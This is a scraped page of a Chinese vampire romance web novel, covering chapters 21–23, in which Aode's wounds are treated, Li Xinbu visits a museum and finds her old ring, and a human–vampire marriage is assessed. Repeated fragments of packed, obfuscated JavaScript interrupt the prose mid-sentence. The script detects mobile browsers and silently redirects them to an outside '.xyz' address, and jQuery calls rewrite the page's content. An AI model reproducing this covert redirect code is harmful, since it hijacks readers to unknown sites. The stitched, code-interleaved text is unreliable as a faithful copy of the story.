RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053754|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁白放下笔,说:“虽然对照组百年难遇,不过我们姑且可以理解为,并不是所有恐龙血都能让你过敏,对吗?” “嗯。” “那么有没有可能你对恐龙血并不过敏呢?” 奥黛怔了怔。 “你看,和我说了这么久话,连我偷偷拧开药膏盖都没有发现。”不知什么时候,宁白手里重新握着那支药膏,坐在诊疗椅上原地转了一个圈,那抹鲜红旋转着映进了她的眼帘。 直到这时,她才后知后觉感受到了甜和渴。 可理智尚在,也并未失态。 宁白脚底一蹬,直接站了起来,朝她走去。 附在她耳畔轻轻道:“我总觉得让你‘过敏’的不是血,而是人。” 诊疗椅轻轻滚远,整间房都只能听见滚轮咕噜咕噜的声音,以及椅子撞墙的一声闷响。 她凝望着离自己近在咫尺的血色药膏,蹙眉道:“什么意思?” “来试试吧,如果你能不露尖牙地让我帮你上完药,那么就代表我的猜测是正确的。” 三秒后,奥黛将翅膀展开了。 将那些可怖的痕迹再次暴露于人前,只为验证一个猜测。 宁白看着翅膀上面触目惊心的痕迹,拿着药膏的手微不可见地颤了一下,忽然就不知道从哪里开始下手了。 “我不喜欢被人触碰翅膀,我自己来吧。”奥黛说。 于是她把药膏递给了奥黛,掩门离开了。 后者面无表情地开始涂抹伤口。 这感觉很怪。 那有着甜血味道的药膏像温柔的手指,所到之处,像深情的抚摸,一寸一寸流连在她的翼膜上。她微冷的翅膀开始发烫。 在那人气息的环拥下,她的尖牙开始发痒,肩膀开始发抖,翼膜开始发红。越是如此,她的动作越是加重,转眼间疼得她龇牙咧嘴,药液顺着翼膜的纹路淌落了下来。 可一想到那人发白的嘴唇,她手中一滞,略微低下了头。 她不该这样浪费。 药膏再次覆上来时,动作显而易见地轻柔了许多。 宁白回来时,手里拿着一面化妆镜:“这样会好看点。” 奥黛接过化妆镜,借助镜面端详着自己看不到的背后——不知是不是被那人及时用恐龙血涂抹过的原因,原本翻卷的伤口、裂开的血洞已经变得平整。 宁白静静地观察并记录着,问:“还是光明魔法阵把你伤成这样?” “嗯。”奥黛简单地和她讲述了自己受伤的过程。 “所以,魔法阵的光圈分为内外两个部分,外圈控制伤害光线,内圈控制封印光线,内圈与外圈无法同时开启?” “对。” “如果只点亮外圈,光线直接朝你射来,你就会被灼伤?” “是。” “像这样?” 话音刚落,宁白抬手,一束白光从她手心地射了过来。 下一刹,奥黛整个人都被自己的翅膀包裹住,露在外面的双手本能地抓着镜子抵抗,但预料的痛苦没有出现,抬头一看,光线被她举着的镜子折射到宁白的后方,一圈圆圆的白光隐没进白墙里,不见踪影。 对上奥黛不解的目光,宁白关了手电筒,语气隐隐透着兴奋:“你看,光线而已,随便一面镜子就能让它调转方向,有什么了不起的。” 奥黛一怔,不可思议地抚上镜面。 镜子里浮现出了她的面容。 出乎意料的,她的眸色并没有变深,发痒的尖牙也安分地留在嘴巴里,没有长出来。 “看样子我猜对了。你对他的恐龙血并不过敏。”洞察的眼睛轻轻一眨,宁白微笑着说:“所以,有没有一种可能,会让你觉得‘上瘾’的是他本人呢?” 话音刚落,奥黛的翅骨连带着翼膜仓皇颤动。 她的心跳,又开始复苏了。 21. 浮城 凌晨三点半,上完药的奥黛离开了特族局。 翅膀像是被热敷过一样熨帖,连带着僵硬的肩膀也舒服了不少。 走到大门口时,她下意识地往伸缩门边的停车场看了一眼,一辆黑色的重机车像恶犬一样停在最显眼的位置,总给她一种它的主人还没离开的错觉。 微信上,它主人六个小时前发来了消息,说已经上飞机了。 奥黛没有回复,径直回了家。 家里被艾琳派人里里外外地打扫了一遍,空气里飘散着她钟爱的柑橘香,深深一嗅,却又觉得少了点什么。 洗完了澡,带着湿漉的水汽在床上辗转反侧,忽然,她抖开了翅膀,黑色巨茧包合住了她,香甜的味道瞬间就充盈了整间卧室。 直到这时,她紧绷的神经才渐渐开始放松。 五分钟后,刺耳的门铃急促地响起,然后是砰砰的拍门声,听起来很着急。 奥黛不悦地睁开眼睛,她坐起来,捞起了滑落在肩头的睡裙肩带,翅膀一瞬间收进了肩胛骨,成了若隐若现的两颗小黑点。 走到了门口,打开了门,她奇怪地打量着艾琳。 对方的头发凌乱得像鸡窝,穿着一条小熊睡裙,一只脚踩着家居拖鞋,另一只脚踩着洞洞鞋。 印象中,她还没有见到艾琳这样慌张的样子。 “出什么事了?”她问。 艾琳伸长脖子往里面看,旁敲侧击道:“就女爵一个人在家吗?” “不然呢?” “那个……”艾琳支支吾吾道:“女爵是不是饿了,我那还存了点人造血,要不您先垫巴点呢?” “不饿。” “女爵饿了可一定要说啊,千万别去吃人。现在这会儿和一百多年前可不一样了。在华国,在星城,吃人——是绝对!不可以的!”艾琳双臂交叠,打了一个大大的“X”。 “?” 莫名其妙。 奥黛关上了门。 可视屏幕前,看见艾琳绞着手来回踱步,像小狗一样在她的门口嗅来嗅去。 于是又把门打开了,问她:“到底怎么了?” 房内甜血气息扑面而来,这下,艾琳悬着的心终于死了。 她有些悲怆地开口:“女爵……你……是不是把黎队长吃了?他的电话打不通,而你房间都是他的血腥味……” “没吃。”奥黛扫了一眼艾琳的脸,目光停在了对方殷红的唇上,有些意外:“不过你嘴上的,是人血么?” “你的脖子上,也有很多红点。”她抬手点了点自己的脖子一侧,“是交往了男朋——” 艾琳尖叫一声,一下退出了五米远,捂着脖子笑容僵硬地挥了挥手:“哈哈晚安啦,女爵。” 几乎是以最快速度离开了奥黛的别墅。 奥黛冷哂。不知自己给血仆究竟留下了怎样可怕的印象,让他们交往个人类也畏首畏尾。 ——或许是因为海尔珀林家族的吸血鬼,和人类交往就没一个有好下场的。 以至于她和薄莎在伊芙琳女爵消逝以后,还对月盟誓过,此生绝不初拥人类。 笑容渐渐隐去,回到了房间,她站在窗边看了一会儿明亮的月亮。哗啦一声,用厚重的窗帘把窗外遮挡得严严实实。 室内一片漆黑。 她枕着熟悉的香气缓缓入眠。 日落的那一秒,奥黛苏醒。 与此同时,手机传来一声信息音。 唤醒了屏幕一看,黎信步传来了一张照片。 天地几乎雪白一片,他站在皑皑的雪地里,穿了一身黑色的大衣,随意地将灰色围巾围在了颈边,手边拉着一只黑色的行李箱。 双指放大看了看,他的短发上沾染上了不少轻巧的落雪,一双眼睛被白雪衬托得圆润乌黑,格外明亮,像是雪山脚下的一汪热泉。明明是这样大的雪,眼皮和鼻子都被冻出了淡红的颜色,可他看着却比平常少了一些不羁的冷厉,多了几分澄澈的热情。 远方,红色的房子都覆上了厚厚的积雪,高低错落地融进了照片里,像灯烛,像星火。 【黎信步:赶上浮城的初雪了''''】 【黎信步:想和你一起来看''''】 奥黛盯着照片看了一会儿。 雪有什么好看的? 更何况浮城,她一向不喜欢。 在察觉到自己病态的吸血鬼特征快要显露出来之前,她按灭了屏幕。 屏幕再度被按亮。 黎信步发的消息石沉大海,一连好几天,都没有收到她的回复。不过他向来有耐心,把手机收进口袋,跟上前人的步伐。 这是一场非正式的血族管理交流会谈,为期三天,由北欧最大的血族聚居地浮城来举办。几乎所有有血族聚居的国家都派了代表来参加,互相交流和学习先进的经验。 今日的行程是应北欧血族理事会邀请,与各国代表一同参观浮城血族博物馆。 浮城地理位置独特,由十几座岛屿组成,从空中看,就像是漂浮在海面上一样。或许是因为这里的冬夜格外漫长,当地人也相当重视隐私与独立空间,所以格外受i人吸血鬼青睐。 博物馆位于一座偏远的小岛上,一行人从船上下来。踏入小岛时,一群红嘴海鸥被惊飞,它们衔着黑色的小花成群结队地飞向云霄。 从这一刻起,就已经能够看到馆藏的展品了。 “那是来自血族故乡的暗夜花,我们这里的海鸥,很喜欢。” 说话的是一位留着深金色短发的男人,他的气质很冷沉,看上去不苟言笑,这是他们理事会的秘书长。 浮城人也像本地的i人吸血鬼一样,大多高冷不善言辞,在说完这句话以后,他如释重负地把下巴缩回了深灰色的羊绒高领里。 一行人沿着植满黑花的长径走向岛屿深处,一座高高的红墙塔楼无遮蔽地屹立在众人的面前。这是岛内存放血族珍稀藏品的地方,大多是血族自己捐赠的最能代表他们家族或是个人的藏品。 序厅矗立着一尊巨大的雕像,穹顶上,无数块深浅不一的红色小玻璃被雪光折射分解成瑰丽的光斑,投射在执剑雕像的脚下,形成了一条浮动的血色长河。 黎信步注意到雕像的剑格上雕刻着月形纹章,果不其然,理事会的人介绍说:“这位是血族上一任君主——丹纳血王的雕像,由赫纱女王捐赠。” 庄严的君主举剑睥睨着脚下血河,众人踏上这条长河,正式步入展厅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057165|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展厅是按照姓氏将藏品进行分隔的。 来到“H”的分区,黎信步意外地看见了奥黛的姓氏—— Heilbronn 这时他脚步一顿,看见玻璃展柜里,放着一枚熟悉的戒指。 墨绿色的戒臂,红宝石的戒面,几颗碎钻环嵌在周围,闪亮又耀眼。 一瞬间,他握住了戴有蔷薇戒指的手,有些错愕地开口:“这是……谁捐赠的?” 秘书长有些意外地看了黎信步一眼,向他投以欣赏的眼神:“这是我的收藏。很漂亮,不是吗?” 谈到他收藏的得意之作,饶是社恐也忍不住话多起来,他的语速很快,翻译差点有些跟不上。 “几年前,我从浮城一个落魄贵族手里买下来的,据说这是他祖上和血族女公爵的定情信物。后来我查了很久,发现上面的纹饰很像海尔珀林家族的蔷薇家徽,于是归到了这个展柜。” “是吗?”黎信步目不转睛地看着那枚戒指,忽然感到戴在他食指上的戒指是那样沉重。 他总是后知后觉地路过她的从前。而那是他未曾知晓、不曾参与的人生。 定情。 她和别人定情了? 心像被人闷住了,他的喉咙发紧,声音发涩:“他们结婚了吗?” 对方答:“那倒没有,据说因为霍乱去世了。” 黎信步愣住了。 忽然想到她曾说过的,如果活得足够长,就会看到身边的人一个接着一个死去,甚至看到他们的后代一个接着一个死去。 这才清晰地意识到,早在认识他之前,她就已经触摸到了别人的快乐,也路过了那人的死亡。 她也会把那人当成自己的私产吗? 也会给那人家徽印记保护他吗? 她在给那人擦拭墓碑时在想什么? 黎信步自嘲一笑,微哑的声音凉薄道:“毕竟人类的寿命,实在,太短暂了。” 周围人不禁感慨了起来。 从博物馆的塔楼出来时,天上又下起了雪。 理事会的人为各代表撑伞,被黎信步礼貌拒绝了,他举着伞走在沉郁的雪岛上。 “你的戒指很漂亮。”旁边一位南美的代表微笑着对他说,“很像刚刚我们在里面看到的那一枚。” 裸|露在空气里,握着伞的食指泛着密密麻麻的痛意,几乎有些失去知觉了,但他还是告诉南美代表:“这是我喜欢的人让我暂时保管的。” “暂时保管?”对方有些奇怪地问。 “只是,暂时保管。”他重复道。 是不得已暂时放在他这里,只要找到摘取的方法,随时都会被收回的意思。 不是赠与,需要归还。 不是定情,需要清醒。 “但她,戒指可真多啊。”他冷冷一叹,呼出的白气像海鸥一样漂洋过海,辗转去温暖的远方。 转过身,回望着被洁白大雪覆盖着的红色塔楼,目光好像想要透过某一扇花窗,窥见她曾停经过的某一段时光。 即使,那一段时光并不属于他。 即使,在他之后还会有很多枚戒指。 可,那又怎么样呢? 至少现在,活着的是他。 22. 加班 礼拜六,奥黛要加班。 特族局的人手不太够,女爵专家有时候还得兼任监察员一职,对局内各事务进行调查和监督。 徐让对她说,能力越大,责任越大。 调查室内,奥黛坐在最中间,她按下录制键,对左右两侧的工作人员说:“可以开始了。” ——这是她这几天的新工作,以女爵的身份,对已经与人类结合的血族进行抽查回访,进行婚姻质量评估,从而判断他们是否具备继续在一起生活,以及被初拥的基础。 为了捍卫两族婚姻的纯洁性,如果发现一方有恶意骗婚的现象,要及时帮他们解除婚姻。 在她的对面,坐着一对新婚夫妇,丈夫是一位叫维塔理的吸血鬼,妻子是一位叫池曼的星城人类。 丈夫的目光十分深情,说两句话就情不自禁地盯着妻子。妻子的脸色很是惨白,形销骨立,说两句话就要咳很长时间。 婚姻报告上显示池曼患有癌症,这也是特族局所担心的——担心她想利用血族的初拥摆脱癌症的痛苦,才和维塔理步入婚姻的。 “报告上显示你们认识仅四天就结婚了,是不是太过仓促了?” 坐在奥黛左边的监察员问道。 维塔理刚要反驳,却被池曼用手摁住了。奥黛留意到,她的一双手苍白无力,像是干枯的树皮,上面布满了针孔。 “的确太仓促了。” 池曼偏过头,目光看向维塔理,语气缓缓:“如果我是一个健康的人,还有很多时间,也许我会和他慢慢地认识,当朋友,谈恋爱,然后结婚。但是,我没有时间了。” 维塔理紧张地反握住了池曼的手,纠正说:“我们还有很多时间。” 池曼只是淡淡地笑了。 坐在奥黛右边的监察员问:“你们是怎么认识的?” “……在星江上认识的。”池曼低下了头,咳了一声。 “‘星江上’是什么意思?可以具体一点吗?” “嗯……那个时候,我跳江寻死,他跳江救我。” 被震撼住的监察员们停下了笔,隔着奥黛面面相觑。 奥黛看了她半晌,语气轻轻:“为什么不想活了?” “因为活着,很痛苦啊。 我的胃里,长出了一个恶魔,掠夺我的营养,蚕食我的血肉,日复一日地折磨着我,太疼了。做完手术以后,有一天晚上,我妈没来陪床,第二天我才知道,医院的陪床系统更新,要刷脸认证。她进不来,在楼下的长椅上坐了一夜。” “很难想象,她一个智能手机都用不明白的人,在那么冷的楼下研究了一晚上,问阿姨,舅舅,表妹,路人,医生,病友。然后录入人脸,转头,摇头,张嘴,失败,失败,还是失败。” “当时我想,我还要给她添麻烦到什么时候呢?我还要这样痛苦地活到什么时候呢?” “然后,我跳了江。没想到,却被维塔理救了下来。” 池曼低着头,看着眼前的桌子,语气平平地陈述着。但当她说到维塔理时,顿了一顿,苍白的脸上浮现出了浅浅的羞赧。 黑桌上的木质纹路,像极了数月前翻滚的江浪。 冰冷的江水里,身着蓝条病号服的女人被一个高大的男人紧紧搂在了怀里。 男人的声音很温柔,红色的眼睛里是她看不懂的深沉:“你好小姐,很抱歉我来迟了。你的守护天使因为渎职被开除了,现在由我来代班。呼唤三遍我的名字,我来带你上去。” “你……咳咳,你叫什么?” “维塔理。小姐,我叫维塔理。” “维塔理——”她拼命拍打着他的手臂,怒吼:“让开!我要去死!我是要去死!” “嘘,小姐。其实,叫一遍也可以。” 话音刚落,她只觉身体被猛然往上提,黑色的翅膀轻扇了几下,对方轻而易举地把她拽离了水面,世界在她的眼里忽然变得特别渺小,连生死都特别渺小。 她和他,就这样相识。 在春寒料峭的江水里,柳暗花明的末路间,东方欲晓的黎明前。 左边的监察员问:“那你爱他吗?” 因为吸血鬼异于常人的能力,很容易让人类对他们产生吊桥效应。因此甄别人类是否对吸血鬼产生了真正的爱意,也是调查评估的一大重点。 “爱?”池曼认真地想了想,随即露出了迷茫的神情,如实说:“我不知道什么是爱。” “但和他相处的那三天,我确实觉得活着不再那么痛苦了。认识他的第四天,我想,如果这是我生命里的最后一天,那么不和他在一起就太遗憾了。” “所以,我们结婚了。” 监察员看她一眼,笔尖停在了评估报告上“是否相爱”的那一栏。 迟迟下不了笔。 这是爱吗? 什么是爱?又有谁能来定义爱呢? 一定要漫长的时间才能产生爱吗? ——她们也不知道。却再一次的,对自己的工作感到迷茫。 一阵沉默过后,奥黛抬头看向维塔理:“你呢?” “你们是怎么认识的?” 吸血鬼不会在日出前还在无遮蔽的地方徘徊,更不会冒着被第一缕日光灼伤的危险去救一个素昧平生的人。 趋利避害,这是他们的天性。 除非,他一早就认识她。 果不其然,维塔理被问得一愣,手指无意识地扣住了桌沿,表情有些紧张。 池曼转头看他,秀气的眉头不禁皱了起来,显然也读懂了丈夫的隐瞒。 “你,早就见过我吗?”她问。 “……”维塔理没有说话。 棕色的长睫微微低垂,遮住了他的眼睛,不知过了多久,他叹了口气,缓缓地说:“是啊。不过你已经不记得了。” 星江并不是他们的第一次见面。 早在她的少女时期,他们就见过了。 一个受了重伤的吸血鬼,误闯了春游的鬼屋,其他少男少女都害怕地四散,唯独她,眼睛一眨不眨地盯着他。 以为是什么NPC的过关任务,她大咧咧给他拔掉插在背上的银刀,帮他扔掉用于置景的十字架和大蒜头。最后,她捞起袖管,一副心大的样子说:“是不是还要吸血——我看那些动漫都这么演的。” “你叫什么名字?”他哑声问。 黑暗的鬼屋洞穴,她看不大清他的样子,而他却能将她天真的单纯尽收在眼底。 怎么会有人不怕他呢?她为什么这么不设防? 忽然有些生气,她这样毫无戒心,要是被吸血鬼利用了怎么办? 池曼本想告诉他自己的大名,可是少女的中二病犯了,于是扬起下巴,直接报出了自己的网名:“迪士尼在逃韩信。” “什么?”好长的名字。 他在心里默念了一遍,默默记下。 “有机会带你打游戏。我韩信,贼6,真的。” 话音刚落,尖牙戳破了她的手腕,他残忍地想,这就是天真的代价。 然后,他听见了她的尖叫。 尖牙立刻离开了她的手腕,舌尖很小心地舔了一下她的伤口。 浅薄的力量在他的身体里游走,靠着她血液里的那一点儿力量,他终于得以离开鬼屋。 “韩信,我会找到你的。” 离开之前,他这样说。 后来,他手刃仇敌,找一个叫“迪士尼在逃韩信”的人类整整十年。 在她决心去死的那一刻,他才找到了她。 池曼听得泪流满面,手掌掩着脸大哭:“你为什么……不早点告诉我呢?” “这很重要吗?”维塔理不知所措又小心翼翼地擦掉了她的眼泪,“在确定你的心意以前,吐露厚重的爱意只是给你增加徒劳的负担而已。” 他抱着她,轻轻拍着她的背,说:“我爱你,但你也可以不爱我。” 两人被请到调查室外稍作等待,调查室内,奥黛左右两边的监察员相执不下。 左边认为,这两人之间是否存在对等的爱情还有待商榷。 右边认为,爱情非得要对等吗,如果这都不算爱那么大家都原地离婚好了! 左右两边的意见高度不一致,于是询问起了看起来见多识广·从寿命上来看应该谈过很多场恋爱的奥黛:“女爵,报告该怎么填?” 奥黛捏起眼前这张薄薄的评估报告。 人类总喜欢为很多抽象的只可意会的事情下定义。 “这不是爱。”她说。 两位监察员愣住了,隐隐想要反驳,刚张开嘴,却听奥黛轻声问:“又能是什么呢?” 奥黛不解地看向人类,发出内心的疑惑:“一定要有本有源,有理有据才算爱么?” 左右眼里闪过一丝惊喜,竟然感到醍醐灌顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061899|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直呼奥黛是“恋爱天才”。 奥黛轻哼一声,接受了赞誉,把维塔理单独叫了进来。 她的指尖点在他的眉心,问道:“你会初拥她么?” 维塔理说:“虽然我很想,可结婚之前我已经答应过她了,要让她自己来做决定。” 没有说谎。 “如果她最后决定要以人类的身份死去?” “那我会以吸血鬼的身份为她殉葬。” 奥黛略带惊讶地收回了手:“你想好了?” 维塔理笑:“被我初拥,她何尝不是在以吸血鬼的身份为我殉葬呢?” 奥黛挑了一下眉毛,很有意思的角度。 她身边全是强取豪夺的吸血鬼,很少听见有吸血鬼这样看待初拥这件事。 拧开钢笔,她快速地在评估报告上写了“通过”二字,然后签署了自己的名字:“虽然我对人类和吸血鬼结合持悲观态度,不过,祝福你们。” “谢谢。”维塔理也由衷道:“女爵,也祝愿您能得到幸福。” 奥黛不置可否,旋回笔帽:“吸血鬼也有幸福么?” “会有的,请您相信。” 送离了池曼和维塔理,奥黛看了眼微信。 出乎意料的,今天并没有收到那人的新消息。 长长的指甲烦躁地划过屏幕,然后重新点开微信—— 依旧没有收到。 奇怪。 也许是手机坏了。 奥黛想,二十一世纪也不过如此。 东西虽然又多又稀奇,但太容易坏了。 把手机收回包里,她面无表情道:“下一组进来——” 调查室的门被打开。 站在门口的不是夫妻,而是宁白。 “哪还有下一组?”宁白倚着门笑,“夜游队都联谊去了,你们怎么还没下班?” 三位监察员终于下了班。 周六晚十一点三十五分,四个女人勾肩搭背地站在了特族局门口,一时不知该何去何从。 “托女爵的福,我头回评估这么早下班。”左边说。 “一晚上评估了五组,咱这效率,真牛啊!”右边说。 “有什么安排吗你们?”宁白提议:“既然周末,姐几个不如去好好放松放松。” 检查员们好奇地望向她。 只见她拿出了几张票,从左到右轻轻一晃,两人立刻捂嘴无声尖叫:“哇!是‘旖旎’!你好有本领啊宁博士!” 奥黛问:“什么是‘旖旎’?” “就是星城最近新开的酒吧,一票难求。” “为什么火?” “嘿嘿。” 宁白笑而不语,“你去了就知道啦。” 三个女人兴高采烈地拉着奥黛去酒吧。 当她们的肢体和奥黛的指尖相接触时,奥黛竟然听到了一种类似饿肚子的咕叽声,以及三种截然不同但同样兴奋的心跳声。 咚、咚、咚—— 心跳的鼓点抽打在耳畔。 灯光暧昧交错,音乐躁动纠缠,几张桌子拼成的舞台上,三个薄肌帅哥正在跳舞。 他们上身穿着被水浇湿的白色衬衫,隐有淡红崭露头角,下身穿着黑色西裤,腿部的肌肉线条若隐若现。银色的链条缠绕在脖子上,红色的领带蒙在了眼睛上,一呼一吸间,产生禁忌的美感。 绚丽的灯光在他们扭动的身体上轻扫,气氛旖旎而又梦幻。 台下的人们纷纷高举着双手随他们舞动而欢呼。 监察员们的尖叫不绝于耳,宁白举着手机,时而拍台上,时而拍台下。 奥黛微微向后倚着卡座,不动声色地饮一口酒。 音乐戛然而止,帅哥们把领带从眼睛上摘了下来,露出了精致的五官。 紧接着,他们跳下了台,分别朝左、右、中三个方向走去。脖子上拖坠着的纤细银链被他们捏在了手里,打算交给他们最有眼缘的人。 最中间那个浓眉深目的帅哥自己牵着自己,手里的链条缠绕在他的手中,像一条灵动的银蛇。 他缓缓朝奥黛她们的卡座走来,四周尖叫一片。 尖叫声在黎信步的手机里沸腾。 他提着拉杆箱站在特族局门口,看着宁白的朋友圈,眼神黑沉凛肃,下颌线被他绷得冷硬锋利,很重很重地吐出一口浊气。 下一刻,机车轰鸣声响彻长街。 23. 银河 “黎队到星城了。”宁白扫了眼手机,对奥黛说。 奥黛把头一偏,就着宁白的手机瞥到了黎信步几十分钟前发的朋友圈。上面只有很简洁的三个字,“回来了”。 这几天她书面的工作多,简单的方块字倒是能认出来不少,至于底下密密麻麻的评论,她就不认识了。 “说的什么?”她问。 宁白说:“徐让叫他快点参加联谊,还能赶上趟。再下面,都是笑他提前回来得正是时候的。” 奥黛拿出自己的手机,轻轻一划:“是么?” 深蓝色的夜空头像并没有再发来消息,像宁白那样点进他的朋友圈,却能看见他的新动态。 原来,她的手机并没有坏。 一片阴影笼罩在了她的头顶,她不悦地抬眸,看到了一双好看的眉眼。是浓黑的眉,清澈的眼。 这双眉眼渐渐往下移,虔诚地仰望着她。对方单膝蹲在她的面前,双手捧着银链递到了她的手边,温醇的嗓音道:“姐姐,要不要收留一只小狗呀?” 见奥黛没有说话,他又把银链往她手边递去了几分,一双眼睛湿漉又可怜地望着她。 奥黛的眸光冷了下来,莫名的,她有些不高兴。 她不想见到有这样眉眼的人对陌生人展露出温驯的一面。 毕竟,那人并不温驯。 静默了片刻,她突然捏住了对方的银链,朝她的方向猛地拽了过去。对方冷不防被她一扯,脑袋瞬间就埋在了她边上的沙发里。 然后就听见一声清脆的声音,束缚在他颈边的银链轰然坠地。 男孩有些意外地抬头,摸着自己空荡荡的脖子,眼里闪过一丝错愕:“姐姐?” 表演过这么多场节目,他的颈链或被拽走,或被推开,却从来没有一次,像这样,被解开。 眉眼间排演过上千遍的做作的楚楚可怜被尽数收回,他用力地挺直了背脊,认真地看向奥黛,“我,我会很听话的。” 不需要。 她看了眼手机,仍旧不高兴。 在弄清楚究竟为什么不高兴以前,她仰头喝完了杯中所有的酒,离开了这家酒吧。 99层高楼的楼顶,一对邪恶的翅膀像巨大蝠翼一样张开。 奥黛站在高楼边缘,狂风扬起她及踝的白裙。飘然的醉意袭来,天地好像在她的脚下颠倒,车水马龙是移星换斗,满天星辰是万家灯火。 血红的眼睛以联谊的江景餐厅为中心,目光在缓慢移动的星光里搜寻着,利用血族的力量,无声地感知着她奴隶的方向。 近了。 更近了。 感知到那人正朝江景餐厅的方向驶来,她轻笑着,垂在裙边的一双手,指甲正悄无声息地伸长、变尖。 那些隐忍在血液里的戾气,急不可耐地想要冲破束缚,爆发出来。 明明,她讨厌伊芙琳女爵强势的作风。 明明,她厌恶吸血鬼的残忍本性。 明明,她一向尊重奴隶的正常交往。 可是现在,她只想要抓到他。 要是能把他的双腿折断就好了。 忽然,猩红的眸子闪烁了一下,在数百米之下喧嚣声里,她听见了一声熟悉的引擎。 随着黎信步的加速,雷霆般的炸响轰隆咆哮。 他骑着机车彪悍掠过大街,气势汹汹地驶向宁白定位处的酒吧。 ——准备去扫黄。 经过无人的巷角时,一片巨大的阴影急速坠下,全然展开的翅影俯冲向他。 风驰电掣的机车紧急一刹,轮胎与地面摩擦出了让心尖发颤的难听声响。他长腿支地,惊异地看见降落在他面前的奥黛。 却敏锐地察觉到她今晚好像有哪里不一样。 翅膀嚣张地挺立,卷发遮住大半张脸,鲜红的薄唇冷冷地往上挑,浑身都弥漫着酒气。 一声心跳清晰传来。 她冷冷问:“要去哪里?” 黎信步摘下了头盔,露出深邃沉冷的眉眼,定定地望向她:“你呢,你怎么在这里?” “是我,在问你。”她走向他。 “哈。”黎信步的喉间溢出一声沉闷的冷笑,抬起下巴时,他桀骜地眯起眼,问她:“我的行踪对你很重要吗?我不该来吗?” “还是我打扰你和酒吧的小男孩一起玩了?” 奥黛没有说话。 见到他以后,再次感受到熟悉的失控感。 冷冽的视线掠过他因生气而紧皱的眉头,因失言而微抿的嘴唇,因被逼近而滚动的喉结,然后一路往下,停顿在了他的手上。 几天时间过去,手上的伤口已然结痂,可不知道为何,仍然释放着似有若无地馥郁的香气。 引诱着她。 含苞的蔷薇,尚未绽放,只能闻见很清浅的一点幽香。 可它确凿存在。 有些降温了,冷风在狭窄的巷道里穿梭回荡,吹过他风衣的风,也吹向了她的裙摆。 被这样的风吹着,奥黛并不觉得冷,相反,她觉得很热。 热到有些紊乱,只想依靠本能行事。 如果撕裂他掌心的疤痕—— 这样的念头在她的脑海里恶劣地闪过一瞬,瞬间被截断。 如果她的感觉能通过戒指传递给黎信步,那么刚刚那个不假思索的荒唐念头是不是也会被他察觉? 可笑。 竭力像个上等人一样维持了三百多年的体面,最后还是让人看到了自己像恶魔野兽一样的真面目。 “还给我!” 酒精放大了此刻的情绪,她俯身,把黎信步逼在了墙角和机车之间,作势就要抢夺戴在他手上的蔷薇戒指。 黎信步被她逼得身体往后仰倒,骨节分明的大手向后抓住了金属车架,另外一只手高高举起,蜷握成拳,用拇指抵住了戒环,避免被她碰到。 “不给——” 乌黑的眼睛愠怒地圆睁,眼底的情愫再也压抑不住,像火山一样喷薄出来:“为什么别人能留下你的戒指,我却不可以?” 奥黛一怔,止住了手中的动作,撑着他胸膛上紧实的肌肉,直起了身,往后退了几步。 竖瞳眯起,她问:“什么?” 黎信步从车上下来,仍旧高高地举着手,高大的身影轮廓一下就覆盖在了她的面前。 “你说不想说话就不想说话,你说要远离我就远离我,你说要收回戒指就收回戒指。”他走近一步,扑面而来的是磅礴的冷峻,以及一丝不易察觉的委屈哽咽:“为什么?” “奥黛,为什么?”他哑声问。 “你不该直呼我的名字。”她对他说。 青年一米89,看上去要比女爵高半个头。可当女爵仰头对上他垂落的目光时,却并不像是在仰望。 平静的漠视下,她残忍地道:“因为我是女爵,而你只是我的奴隶,所有事情都应该以我的意志为准则。而你,要去哪、见什么人,都需要经过我的准允。” “——现在。把戒指还给我。” 一瞬间,黎信步高举的那只手传来切实的灼痛感,有如万钧压在了手上,整只手臂都怪异地弯折起来,手掌像枯萎的花苞凋谢低头,手臂像衰败的茎叶倒伏垂落。 臂膀在他的身侧来回晃动,像脱臼了一样,不受控制,随风摆动。 又是警告吗? 黎信步疼得脸上再次冒出了细密的冷汗,但他倔强地盯着她,咬着牙,一声也不吭。 奥黛朝他伸出了手,下巴轻轻点了一下,示意他摘除戒指,念咒语。 然而他—— 骨节绷紧。 手腕拧动。 奥黛神色一冷,看见黎信步竟然顶着万钧压力和痛楚再度高抬起了手。 那只手像旗帜一样在她面前高高举起,不屈的红色蔷薇在他的指间熠熠生辉。 “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎信步眼眶发红,双手合十地握紧了她冰冷的手,生硬又低沉地说:“别收回去。” 哪怕这只是你随手给出的众多中的一枚,可它是我的唯一。 奥黛有些出神。 被他一碰,破烂的翅膀像含羞草一样迅速敛回肩胛。 